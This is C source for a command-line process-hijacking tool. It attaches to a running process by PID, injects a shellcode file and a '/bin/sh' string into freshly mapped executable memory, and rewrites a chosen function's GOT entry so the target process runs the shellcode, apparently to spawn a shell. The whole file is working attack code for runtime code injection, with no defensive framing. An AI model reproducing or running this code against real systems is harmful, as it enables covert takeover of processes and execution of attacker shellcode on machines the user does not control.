#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#include <fcntl.h>

#include "hijack.h"
#include "hijack_func.h"

void usage(char *prog)
{
    fprintf(stderr, "USAGE: %s -p <pid> [-f <func> -s <shellcode>]\n", prog);
    exit(1);
}

int main(int argc, char *argv[])
{
    HIJACK *hijack;
    FUNC *funcs, *f;
    pid_t pid=0;
    int ch, fd;
    unsigned int i;
    struct stat sb;
    char *filename, *buf, *func=NULL;
    char *p1;
    unsigned long shelladdr, shellcodeaddr, gotaddr;
    bool foundaddr;

    while ((ch = getopt(argc, argv, "p:f:s:?")) > 0)
    {
        switch ((char)ch)
        {
            case 'p':
                sscanf(optarg, "%i", &pid);
                break;
            case 'f':
                func = optarg;
                break;
            case 's':
                filename = optarg;
                break;
            default:
                usage(argv[0]);
                break;
        }
    }

    if (pid == 0 || (func != NULL && filename == NULL))
        usage(argv[0]);

    hijack = InitHijack();
    if (AssignPid(hijack, pid) != ERROR_NONE)
    {
        fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
        return 0;
    }
    if (Attach(hijack) != ERROR_NONE)
    {
        fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
        return 0;
    }
    /* Hijack function */
    if (func != NULL)
    {
        if (stat(filename, &sb) < 0)
        {
            perror("[-] stat");
            goto out;
        }

        buf = malloc(sb.st_size);
        if (buf == NULL)
        {
            perror("[-] malloc");
            goto out;
        }

        fd = open(filename, O_RDONLY);
        if (fd < 0)
        {
            perror("[-] open");
            goto out;
        }

        memset(buf, 0x00, sb.st_size);
        if (read(fd, buf, sb.st_size) != sb.st_size)
        {
            perror("[-] read");
            goto out;
        }

        close(fd);

        if (LocateAllFunctions(hijack) != ERROR_NONE)
        {
            fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
            goto out;
        }

        if (LocateSystemCall(hijack) != ERROR_NONE)
        {
            fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
            goto out;
        }

        /* XXX The following code is tailered to specific shellcode */
        p1 = memmem(buf, sb.st_size, "\x11\x11\x11\x11", sizeof(unsigned long));
        if (p1 != NULL)
        {
            funcs = FindAllFunctionsByName(hijack, "fork", false);
            if (funcs != NULL)
                memcpy(p1, &(funcs->vaddr), sizeof(unsigned long));
        }

        p1 = memmem(buf, sb.st_size, "\x33\x33\x33\x33", sizeof(unsigned long));
        if (p1 != NULL)
        {
            shelladdr = MapMemory(hijack, (unsigned long)NULL, strlen("/bin/sh")+1, MAP_ANONYMOUS | MAP_PRIVATE, PROT_READ);
            if (GetErrorCode(hijack) != ERROR_NONE)
            {
                fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
                goto out;
            }

            memcpy(p1, &shelladdr, sizeof(unsigned long));
            shellcodeaddr = MapMemory(hijack, (unsigned long)NULL, sb.st_size, MAP_ANONYMOUS | MAP_PRIVATE, PROT_READ | PROT_EXEC);
            if (GetErrorCode(hijack) != ERROR_NONE)
            {
                fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
                goto out;
            }

            if (WriteData(hijack, shelladdr, "/bin/sh", strlen("/bin/sh")) != ERROR_NONE)
            {
                fprintf(stderr, "[-] Error injecting shell: %s\n", GetErrorString(hijack));
                goto out;
            }
            if (WriteData(hijack, shellcodeaddr, (unsigned char *)buf, sb.st_size) != ERROR_NONE)
            {
                fprintf(stderr, "[-] Error injecting shellcode: %s\n", GetErrorString(hijack));
                goto out;
            }

            fprintf(stderr, "[*] Attempting to find %s (0x%08lx) in the GOT\n", func, funcs->vaddr);
            fprintf(stderr, "[*] Shell @ 0x%08lx\n", shelladdr);
            fprintf(stderr, "[*] Shellcode @ 0x%08lx\n", shellcodeaddr);

            funcs = FindAllFunctionsByName(hijack, func, false);
            foundaddr = false;
            for (f = funcs; f != NULL; f = f->next)
            {
                fprintf(stderr, "[*] Looking for func in %s (0x%08lx)\n", f->libname, f->vaddr);
                gotaddr = FindFunctionInGot(hijack, f->vaddr);
                if (GetErrorCode(hijack) == ERROR_NONE)
                    break;
            }

            if (f == NULL)
            {
                fprintf(stderr, "[*] No place in PLT/GOT. Cannot hijack!\n");
                goto out;
            }

            p1 = memmem(buf, sb.st_size, "\x22\x22\x22\x22", sizeof(unsigned long));
            if (p1 != NULL)
            {
                fprintf(stderr, "twos are found!\n");
                memcpy(p1, &(f->vaddr), sizeof(unsigned long));
            }

            WriteData(hijack, gotaddr, (unsigned char *)&shellcodeaddr, sizeof(unsigned long));
        }
    }

out:
    Detach(hijack);
    return 0;
}